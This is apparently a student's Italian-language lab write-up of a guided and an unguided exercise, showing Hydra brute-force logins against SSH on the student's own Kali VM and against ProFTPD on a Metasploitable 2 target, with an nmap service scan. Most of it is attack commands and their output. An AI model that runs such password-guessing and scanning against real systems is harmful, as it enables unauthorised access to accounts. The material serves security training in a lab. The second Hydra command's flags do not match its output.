

Prima parte dell'esercizio guidato:

creato utente test_user con password testpass nella macchina kali e aggiunto al servizio ssh:

```
File Azioni Modifica Visualizza Aiuto

(kali@kali)-[/home]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Creata una lista di username e password tra cui l'utenza e password corretta e lanciato il comando con hydra avendo come target la stessa macchina kali e servizio ssh (porta 22):

```
kali-linux-2024.1-virtualbox-amd64 [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
1 2 3 4

Cestino
File system
Home

kali@kali: /home
File Azioni Modifica Visualizza Aiuto

(kali@kali)-[/home]
$ hydra -L /home/username.txt -P /home/password.txt 192.168.50.100 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-04 15:57:41
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:16/p:9), ~36 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "guest" - 1 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pippo" - 2 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678" - 3 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "admin" - 4 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 5 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 6 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pluto" - 7 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "topolino" - 8 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "paperino" - 9 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "guest" - 10 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "pippo" - 11 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "12345678" - 12 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "admin" - 13 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "password" - 14 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "testpass" - 15 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "pluto" - 16 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "topolino" - 17 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123" - pass "paperino" - 18 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "guest" - 19 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "pippo" - 20 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "12345678" - 21 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "admin" - 22 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "password" - 23 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "testpass" - 24 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "pluto" - 25 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "topolino" - 26 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "paperino" - 27 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "guest" - 28 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pippo" - 29 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 30 of 144 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 31 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 32 of 144 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 33 of 144 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "gianni" - pass "guest" - 37 of 144 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gianni" - pass "pippo" - 38 of 144 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "gianni" - pass "12345678" - 39 of 144 [child 3] (0/0)
```

Trovata correttamente la combinazione username e password.

Seconda parte dell'esercizio non guidata, dopo aver eseguito una scansione con nmap dei vari servizi attivi sull'IP address del target (Metasploitable 2), ho deciso di provare un attacco sul servizio FTP sulla porta 2121:

```
kali@kali: /home
File Azioni Modifica Visualizza Aiuto
(kali@kali)-[~]
$ nmap -A 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 16:10 CEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --ns-servers
Stats: 0:00:59 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 16:11 (0:00:00 remaining)
Stats: 0:01:38 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.44% done; ETC: 16:12 (0:00:02 remaining)
Stats: 0:01:59 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.11% done; ETC: 16:12 (0:00:02 remaining)
Nmap scan report for 192.168.50.101
Host is up (0.00015s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.50.100
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2             111/tcp    rpcbind
|   100000  2             111/udp    rpcbind
|   100003  2,3,4         2049/tcp   nfs
|   100003  2,3,4         2049/udp   nfs
|   100005  1,2,3         41884/tcp  mountd
|   100005  1,2,3         42298/udp  mountd
|   100021  1,3,4         58164/udp  nlockmgr
|   100021  1,3,4         60614/tcp  nlockmgr
|   100024  1             39279/tcp  status
|   100024  1             43910/udp  status
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
```


avvio quindi il comando da hydra :

```
kali-linux-2024.1-virtualbox-amd64 [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
File Azioni Modifica Visualizza Aiuto
(kali@kali)-[/home]
$ hydra -l /home/username.txt -P /home/password.txt ftp://192.168.50.101:2121 -t 4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-04 16:51:00
[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (l:7/p:6), ~11 tries per task
[DATA] attacking ftp://192.168.50.101:2121/
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "guest" - 1 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "12345678" - 2 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "admin" - 3 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 4 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "postgres" - 5 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "paperino" - 6 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "guest" - 7 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "12345678" - 8 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "admin" - 9 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "password" - 10 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "postgres" - 11 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123" - pass "paperino" - 12 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "guest" - 13 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345678" - 14 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "admin" - 15 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 16 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "postgres" - 17 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "paperino" - 18 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "guest" - 19 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "12345678" - 20 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "admin" - 21 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "password" - 22 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "postgres" - 23 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "postgres" - pass "paperino" - 24 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "guest" - 25 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "12345678" - 26 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "admin" - 27 of 42 [child 2] (0/0)
[2121][ftp] host: 192.168.50.101 login: postgres password: postgres
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "password" - 28 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "postgres" - 29 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "pluto" - pass "paperino" - 30 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "guest" - 31 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "12345678" - 32 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "admin" - 33 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "password" - 34 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "postgres" - 35 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "blackmamba" - pass "paperino" - 36 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "guest" - 37 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "12345678" - 38 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "admin" - 39 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "password" - 40 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "postgres" - 41 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "guest" - pass "paperino" - 42 of 42 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-04 16:51:58
```